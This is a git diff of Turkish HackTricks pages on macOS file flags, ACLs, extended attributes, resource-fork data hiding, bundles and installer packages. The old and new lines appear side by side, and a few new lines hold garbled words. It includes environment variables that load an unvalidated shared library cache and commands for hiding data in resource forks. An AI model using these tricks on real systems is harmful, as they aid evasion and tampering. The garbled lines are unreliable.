Şube havuzları, görüntü eşlemeleri arasında küçük boşluklar oluşturan küçük Mach-O dylib'leridir, bu da işlevleri araya girmeyi imkansız hale getirir.
### SLC'leri Geçersiz Kılma
Çevresel değişkenleri kullanarak:
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu yeni bir paylaşılan kütüphane önbelleğini yüklemeyi sağlar
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleğini yüklemeyi sağlar
* **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri paylaşılan önbelleğe gerçek olanlarla sembollerle değiştirerek manuel olarak (onları çıkartmanız gerekecektir)
## Özel Dosya İzinleri
### Klasör İzinleri
### Klasör izinleri
Bir **klasörde**, **okuma** onu **listelemeyi**, **yazma** onu **silmeyi** ve üzerinde dosya oluşturmayı, **yürütme** ise dizini **gezmeyi** sağlar. Örneğin, bir kullanıcının **yürütme izni olmayan bir dizindeki bir dosya** üzerinde **okuma izni** olması durumunda dosyayı **okuyamayacağını** unutmayın.
Bir **klasörde**, **okuma** onu **listelemenize**, **yazma** onu **silmeye** ve üzerinde dosya **yazmaya** izin verir, ve **yürütme** dizini **gezmeye** izin verir. Örneğin, bir kullanıcının **yürütme izni olmayan bir dizinde** bulunan bir dosya üzerinde **okuma izni varsa**, dosyayı **okuyamaz**.
### Bayrak Değiştiriciler
### Bayrak değiştiricileri
Dosyalara ayarlanabilecek bazı bayraklar vardır ve dosyanın farklı davranmasını sağlar. Bir dizindeki dosyaların bayraklarını `ls -lO /path/directory` ile kontrol edebilirsiniz.
* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyanın değiştirilmesini veya silinmesini önler**. Ayarlamak için: `chflags uchg file.txt`
* **`uchg`**: **uchange** bayrağı olarak bilinen bu bayrak, **dosyayı değiştiren veya silen herhangi bir eylemi engeller**. Ayarlamak için: `chflags uchg file.txt`
* Kök kullanıcı bayrağı **kaldırabilir** ve dosyayı değiştirebilir
* **`restricted`**: Bu bayrak dosyanın **SIP ile korunmasını sağlar** (bu bayrağı bir dosyaya ekleyemezsiniz).
* **`Sticky bit`**: Bir dizinin yapışkan biti varsa, **yalnızca** dizinin **sahibi veya kök** dosyaları **yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde ayarlanır ve sıradan kullanıcıların diğer kullanıcı dosyalarını silmesini veya taşımasını engeller.
* **`restricted`**: Bu bayrak dosyanın **SIP tarafından korunmasını sağlar** (bu bayrağı bir dosyaya ekleyemezsiniz).
* **`Sticky bit`**: Bir dizinin yapışkan biti varsa, **yalnızca** dizinin **sahibi veya kök** dosyaları **yeniden adlandırabilir veya silebilir**. Genellikle bu, /tmp dizininde ayarlanır ve sıradan kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşımasını engeller.
Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulun) ve şunlardır:
@ -156,30 +155,30 @@ Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep
* `UF_NODUMP` 0x00000001: Dosyayı dökme.
* `UF_IMMUTABLE` 0x00000002: Dosya değiştirilemez.
* `UF_APPEND` 0x00000004: Dosyalara yalnızca ekleme yapılabilir.
* `UF_OPAQUE` 0x00000008: Birleşimle ilgili dizin opaktır.
* `UF_OPAQUE` 0x00000008: Birleşimısından dizin opaktır.
* `UF_COMPRESSED` 0x00000020: Dosya sıkıştırılmıştır (bazı dosya sistemleri).
* `UF_TRACKED` 0x00000040: Bu ayarlı dosyalar için silme/yeniden adlandırma için bildirim yok.
* `UF_TRACKED` 0x00000040: Bu ayarlı dosyalar için silme/yeniden adlandırma bildirimleri yok.
* `UF_DATAVAULT` 0x00000080: Okuma ve yazma için yetki gereklidir.
* `UF_HIDDEN` 0x00008000: Bu öğenin bir GUI'de gösterilmemesi gerektiğine dair ipucu.
* `SF_SUPPORTED` 0x009f0000: Süper kullanıcı tarafından desteklenen bayraklar maskesi.
* `SF_SETTABLE` 0x3fff0000: Süper kullanıcı tarafından değiştirilebilen bayraklar maskesi.
* `SF_SYNTHETIC` 0xc0000000: Sistem tarafından salt okunur sentetik bayraklar maskesi.
* `SF_SYNTHETIC` 0xc0000000: Sistem salt okunur sentetik bayraklar maskesi.
* `SF_ARCHIVED` 0x00010000: Dosya arşivlenmiştir.
* `SF_IMMUTABLE` 0x00020000: Dosya değiştirilemez.
* `SF_APPEND` 0x00040000: Dosyalara yalnızca ekleme yapılabilir.
* `SF_RESTRICTED` 0x00080000: Yazma için yetki gereklidir.
* `SF_NOUNLINK` 0x00100000: Öğe kaldırılamaz, yeniden adlandırılamaz veya üzerine bağlanamaz.
* `SF_NOUNLINK` 0x00100000: Öğe kaldırılamaz, yeniden adlandırılamaz veya üzerine monte edilemez.
* `SF_FIRMLINK` 0x00800000: Dosya bir firmlink'tir.
* `SF_DATALESS` 0x40000000: Dosya verisiz nesnedir.
### **Dosya ACL'leri**
Dosya **ACL'leri**, farklı kullanıcılara daha **ince ayarlı izinler** atayabileceğiniz **ACE** (Erişim Kontrol Girişleri) içerir.
Dosya **ACL'leri**, farklı kullanıcılara daha **ırı izinler** atayabileceğiniz **ACE** (Erişim Kontrol Girişleri) içerir.
Bir **dizine** bu izinleri vermek mümkündür: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Bir **dizine** bu izinleri verebilirsiniz: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Ve bir **dosyaya**: `read`, `write`, `append`, `execute`.
Dosya ACL'leri içerdiğinde izinleri listelerken **"+" işaretini bulacaksınız** gibi:
Dosya ACL'leri içerdiğinde, izinleri listelerken **izinlerin yanında "+" işaretini bulacaksınız** gibi:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -190,13 +189,13 @@ ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete
```
Tüm dosyaları **ACL'lerle** bulabilirsiniz (bu çok yavaştır):
Tüm dosyaları **ACL'leriyle birlikte** bulabilirsiniz (bu çok yavaştır):
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
### Genişletilmiş Öznitelikler
Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunlar `ls -@` kullanılarak görüntülenebilir ve `xattr` komutu kullanılarak manipüle edilebilir. Bazı yaygın genişletilmiş öznitelikler şunlardır:
Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve `ls -@` kullanılarak görüntülenebilir ve `xattr` komutu kullanılarak manipüle edilebilir. Bazı yaygın genişletilmiş öznitelikler şunlardır:
- `com.apple.resourceFork`: Kaynak çatalı uyumluluğu. Ayrıca `filename/..namedfork/rsrc` olarak da görülebilir.
- `com.apple.quarantine`: MacOS: Gatekeeper karantina mekanizması (III/6)
@ -204,9 +203,9 @@ Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunla
- `com.apple.lastuseddate` (#PS): Son dosya kullanım tarihi
- `com.apple.FinderInfo`: MacOS: Finder bilgileri (örneğin, renk Etiketleri)
- `com.apple.TextEncoding`: ASCII metin dosyalarının metin kodlamasını belirtir
- `com.apple.logd.metadata`: `/var/db/diagnostics` indeki dosyalarda logd tarafından kullanılır
- `com.apple.logd.metadata`: `/var/db/diagnostics` dizinindeki dosyalarda logd tarafından kullanılır
- `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde)
- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlük Koruması tarafından kullanılır (III/10)
- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruma tarafından kullanılır (III/10)
- `com.apple.uuidb.boot-uuid`: Benzersiz UUID ile önyükleme dönemlerinin logd işaretlemeleri
- `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7)
- `com.apple.cprotect`: \*OS: Dosya başına şifreleme verileri (III/11)
@ -214,7 +213,7 @@ Genişletilmiş özniteliklerin bir adı ve istenen bir değeri vardır ve bunla
### Kaynak Çatallar | macOS ADS
Bu, MacOS makinelerinde **Alternatif Veri Akışları elde etmenin bir yoludur**. Bir dosyanın içine içerik kaydedebilirsiniz, bunu **com.apple.ResourceFork** adlı genişletilmiş bir öznitelik içine kaydederek **file/..namedfork/rsrc** içinde.
Bu, **MacOS makinelerinde Alternatif Veri Akışları (ADS)** elde etmenin bir yoludur. Bir dosyanın içine içerik kaydedebilirsiniz, bunu **com.apple.ResourceFork** adlı genişletilmiş bir öznitelik içine kaydederek dosyanın içinde **file/..namedfork/rsrc** olarak kaydedebilirsiniz.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -225,19 +224,17 @@ com.apple.ResourceFork: Hello Mac ADS
ls -l a.txt #The file length is still q
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
```
Aşağıdaki komutla bu genişletilmiş niteliği içeren tüm dosyaları bulabilirsiniz:
Aşağıdaki komutla bu genişletilmiş özniteliği içeren tüm dosyaları bulabilirsiniz:
{% code overflow="wrap" %}
```bash
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
```
{% endcode %}
### decmpfs
Genişletilmiş öznitelik `com.apple.decmpfs`, dosyanın şifreli olarak depolandığını belirtir, `ls -l` **0 boyutunu** rapor edecektir ve sıkıştırılmış veri bu özniteliğin içindedir. Dosyaya erişildiğinde bellekte şifrelenir.
Genişletilmiş öznitelik `com.apple.decmpfs`, dosyanın şifreli olarak depolandığını gösterir, `ls -l` **0 boyutunu** rapor edecektir ve sıkıştırılmış veri bu özniteliğin içindedir. Dosyaya erişildiğinde bellekte şifre çözülecektir.
Bu öznitelik `ls -lO` ile görülebilir, sıkıştırılmış dosyalar da `UF_COMPRESSED` bayrağıyla etiketlenir. Sıkıştırılmış bir dosya kaldırıldığında bu bayrakla `chflags nocompressed </dosya/yoluna>` ile, sistem dosyanın sıkıştırıldığını bilmeyecek ve dolayısıyla verilere erişemeyecek (aslında boş olduğunu düşünecektir).
Bu öznitelik `ls -lO` ile görülebilir, sıkıştırılmış dosyalar da `UF_COMPRESSED` bayrağıyla etiketlenir. Sıkıştırılmış bir dosya kaldırıldığında bu bayrakla `chflags nocompressed </dosyanın/yoluna>` komutuyla, sistem dosyanın sıkıştırıldığını bilmeyecek ve dolayısıyla verilere erişemeyecektir (aslında boş olduğunu düşünecektir).
Araç afscexpand, bir dosyayı zorla açmak için kullanılabilir.
@ -259,12 +256,12 @@ Mac OS ikilileri genellikle **evrensel ikili** olarak derlenir. **Evrensel ikili
## Risk Kategorisi Dosyaları Mac OS
`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkilendirilen risk hakkında bilgilerin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine ayırır ve Safari'nin bu dosyaları indirme sonrasında nasıl işleyeceğini etkiler. Kategoriler şunlardır:
`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, farklı dosya uzantılarıyla ilişkilendirilen **riskle ilgili bilgilerin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine ayırır ve Safari'nin bu dosyaları indirme sonrasında nasıl işleyeceğini etkiler. Kategoriler şunlardır:
* **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları otomatik olarak indirdikten sonra açacaktır.
* **LSRiskCategoryNeutral**: Bu dosyalar herhangi bir uyarı ile gelmez ve Safari tarafından **otomatik olarak açılmaz**.
* **LSRiskCategoryUnsafeExecutable**: Bu kategoriye giren dosyalar, dosyanın bir uygulama olduğunu belirten bir uyarı **tetikler**. Bu, kullanıcıyı uyarmak için bir güvenlik önlemi olarak hizmet verir.
* **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, uygulama içerebilecek arşivler gibi dosyalar için kullanılır. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamadığı sürece **bir uyarı tetikler**.
* **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, uygulama içerebilecek arşivler gibi dosyalar içindir. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamadığı sürece **bir uyarı tetikler**.
## Günlük dosyaları
@ -272,7 +269,22 @@ Mac OS ikilileri genellikle **evrensel ikili** olarak derlenir. **Evrensel ikili
* **`/var/log/system.log`**: OSX sistemlerinin ana günlüğüdür. com.apple.syslogd.plist, sistem günlükleme işleminin yürütülmesinden sorumludur (devre dışı bırakılıp bırakılmadığını `launchctl list` içinde "com.apple.syslogd" arayarak kontrol edebilirsiniz).
* **`/private/var/log/asl/*.asl`**: Bunlar, ilginç bilgiler içerebilecek Apple Sistem Günlükleridir.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla son erişilen dosyaları ve uygulamaları saklar.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlangıcında başlatılacak öğeleri saklar.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistemin başlangıcında başlatılacak öğeleri saklar.
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (USB'ler dahil sürücüler hakkında bilgi).
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veri.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi.
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# macOS Paketleri
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
macOS'taki paketler, uygulamaları, kütüphaneleri ve diğer gerekli dosyaları içeren bir dizi kaynağı barındıran konteynerler olarak hizmet eder, bu da onları Finder'da tek bir nesne olarak görünmesini sağlar, örneğin tanıdık `*.app` dosyaları. En sık karşılaşılan paket `.app` paketidir, ancak `.framework`, `.systemextension` ve `.kext` gibi diğer türler de yaygındır.
macOS'taki paketler, uygulamaları, kütüphaneleri ve diğer gerekli dosyaları içeren çeşitli kaynakların bir konteyneri olarak hizmet eder ve Finder'da tek bir nesne olarak görünmelerini sağlar, örneğin tanıdık `*.app` dosyaları. En sık karşılaşılan paket genellikle `.app` paketidir, ancak `.framework`, `.systemextension` ve `.kext` gibi diğer türler de yaygındır.
### Bir Paketin Temel Bileşenleri
Bir paket içinde, özellikle `<uygulama>.app/Contents/` dizini içinde, çeşitli önemli kaynaklar bulunmaktadır:
* **\_CodeSignature**: Bu dizin, uygulamanın bütünlüğünü doğrulamak için hayati öneme sahip olan kod imzalama ayrıntılarını depolar. Kod imzalama bilgilerini şu komutlarla inceleyebilirsiniz: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
* **MacOS**: Kullanıcı etkileşimiyle çalışan uygulamanın yürütülebilir ikili dosyasını içerir.
* **Resources**: Uygulamanın kullanıcı arayüzü bileşenlerini içeren bir depo, resimler, belgeler ve arayüz açıklamaları (nib/xib dosyaları) gibi.
* **MacOS**: Kullanıcı etkileşimi sırasında çalışan uygulamanın yürütülebilir binary'sini içerir.
* **Resources**: Uygulamanın kullanıcı arayüzü bileşenlerini, resimleri, belgeleri ve arayüz açıklamalarını (nib/xib dosyalarını) içeren bir depo.
* **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak hareket eder, uygulamanın uygun şekilde tanınmasını ve etkileşimde bulunmasını sağlamak için önemlidir.
#### Info.plist'teki Önemli Anahtarlar
`Info.plist` dosyası, uygulama yapılandırması için bir köşe taşıdır ve şu gibi anahtarlar içerir:
`Info.plist` dosyası, uygulama yapılandırması için bir köşetaşı olup şu anahtarları içerir:
* **CFBundleExecutable**: `Contents/MacOS` dizininde bulunan ana yürütülebilir dosyanın adını belirtir.
* **CFBundleIdentifier**: Uygulama için genel bir tanımlayıcı sağlar, macOS tarafından uygulama yönetimi için yoğun bir şekilde kullanılır.
@ -39,7 +40,7 @@ Bir paket içinde, özellikle `<uygulama>.app/Contents/` dizini içinde, çeşit
`Safari.app` gibi bir paketin içeriğini keşfetmek için şu komut kullanılabilir: `bash ls -lR /Applications/Safari.app/Contents`
Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist` gibi dosyaları ortaya çıkarır, her biri uygulamayı güvence altına almak ve kullanıcı arayüzünü ve işletme parametrelerini tanımlamak için benzersiz bir amaçtan hizmet eder.
Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist` gibi dosyaları ortaya çıkarır; her biri uygulamayı güvence altına almak ve kullanıcı arayüzünü ve işletme parametrelerini tanımlamak için benzersiz bir amaçla hizmet verir.
#### Ek Paket Dizinleri
@ -47,22 +48,23 @@ Ortak dizinlerin ötesinde, paketler ayrıca şunları içerebilir:
* **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ek kaynaklara sahip dylib'ler gibidir.
* **PlugIns**: Uygulamanın yeteneklerini artıran eklentiler ve uzantılar için bir dizin.
* **XPCServices**: Uygulamanın dış işlem iletişimi için kullandığı XPC hizmetlerini barındırır.
* **XPCServices**: Uygulama tarafından dış işlem iletişimi için kullanılan XPC hizmetlerini barındırır.
Bu yapı, tüm gerekli bileşenlerin paket içinde kapsanmasını sağlayarak modüler ve güvenli bir uygulama ortamını kolaylaştırır.
`Info.plist` anahtarları ve anlamları hakkında daha detaylı bilgi için Apple geliştirici belgeleri kapsamlı kaynaklar sunar: [Apple Info.plist Anahtar Referansı](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
`Info.plist` anahtarları ve anlamları hakkında daha detaylı bilgi için Apple geliştirici belgeleri kapsamlı kaynaklar sunmaktadır: [Apple Info.plist Anahtar Referansı](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Yükleyicilerin Kötüye Kullanımı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Pkg Temel Bilgileri
Bir macOS **yükleme paketi** (ayrıca `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtmak** için kullanılan bir dosya biçimidir. Bu dosyalar, bir yazılım parçasının **kurulması ve doğru şekilde çalıştırılması için gereken her şeyi içeren bir kutu gibidir**.
Bir macOS **yükleme paketi** (ayrıca `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtmak** için kullanılan bir dosya biçimidir. Bu dosyalar, bir yazılım parçasının **kurulması ve doğru şekilde çalıştırılması için gereken her şeyi içeren bir kutu gibi**.
Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hiyerarşisini içeren bir arşivdir**. Ayrıca, yazılımın eski sürümlerini temizleme veya yapılandırma dosyalarını ayarlama gibi görevleri gerçekleştirmek için **kurulumdan önce ve sonra görevleri gerçekleştirmek için betikler** içerebilir.
Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hiyerarşisini** içeren bir arşivdir. Ayrıca, yazılımın eski sürümlerini temizleme veya yapılandırma dosyalarını ayarlama gibi görevleri gerçekleştirmek için **kurulumdan önce ve sonra görevleri gerçekleştiren betikleri** de içerebilir.
### Hiyerarşi
@ -26,9 +27,11 @@ Paket dosyası kendisi, hedef bilgisayara kurulacak olan bir **dosya ve dizin hi
* **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni...) ve betik/kurulum kontrolleri
* **PackageInfo (xml)**: Bilgi, kurulum gereksinimleri, kurulum konumu, çalıştırılacak betiklerin yolları
* **Malzeme faturası (bom)**: Kurulacak, güncellenecek veya kaldırılacak dosyaların listesi ve dosya izinleri
* **Malzeme listesi (bom)**: Dosyaların listesi, dosya izinleriyle birlikte kurulacak, güncellenecek veya kaldırılacak
* **Yük (CPIO arşivi gzip sıkıştırılmış)**: PackageInfo'dan `kurulum konumu`'na kurulacak dosyalar
* **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra betikler ve daha fazlası için geçici bir dizine çıkarılan kaynaklar.
* **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulum öncesi ve sonrası betikler ve daha fazlası, yürütme için geçici bir dizine çıkarılan kaynaklar.
### Sıkıştırma
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@ -44,10 +47,10 @@ cpio -i < Scripts
```
## DMG Temel Bilgileri
DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS işletim sistemi tarafından disk görüntüleri için kullanılan bir dosya biçimidir. Bir DMG dosyası temelde **yerel olarak bağlanabilir bir disk görüntüsüdür** (kendi dosya sistemini içerir) ve genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verilerini içerir. Bir DMG dosyasını açtığınızda, macOS bunu **fiziksel bir disk gibi bağlar** ve içeriğine erişmenizi sağlar.
DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS işletim sistemi tarafından disk görüntüleri için kullanılan bir dosya biçimidir. Bir DMG dosyası temelde kendi dosya sistemini içeren (genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verilerini içeren) **yerel olarak bağlanabilir bir disk görüntüsüdür**. Bir DMG dosyasını açtığınızda, macOS onu fiziksel bir disk gibi **bağlar** ve içeriğine erişmenizi sağlar.
{% hint style="danger" %}
**`.dmg`** yükleyicilerinin **çok sayıda biçimi desteklediğini** unutmayın; geçmişte bazıları, **çekirdek kodu yürütmek** için kötüye kullanılan güvenlik açıkları içeriyordu.
**`.dmg`** yükleyicilerinin **çok sayıda biçimi desteklediğini** unutmayın; geçmişte bazıları, **çekirdek kodu yürütmek** için **kötüye kullanılan güvenlik açıkları** içeriyordu.
{% endhint %}
### Hiyerarşi
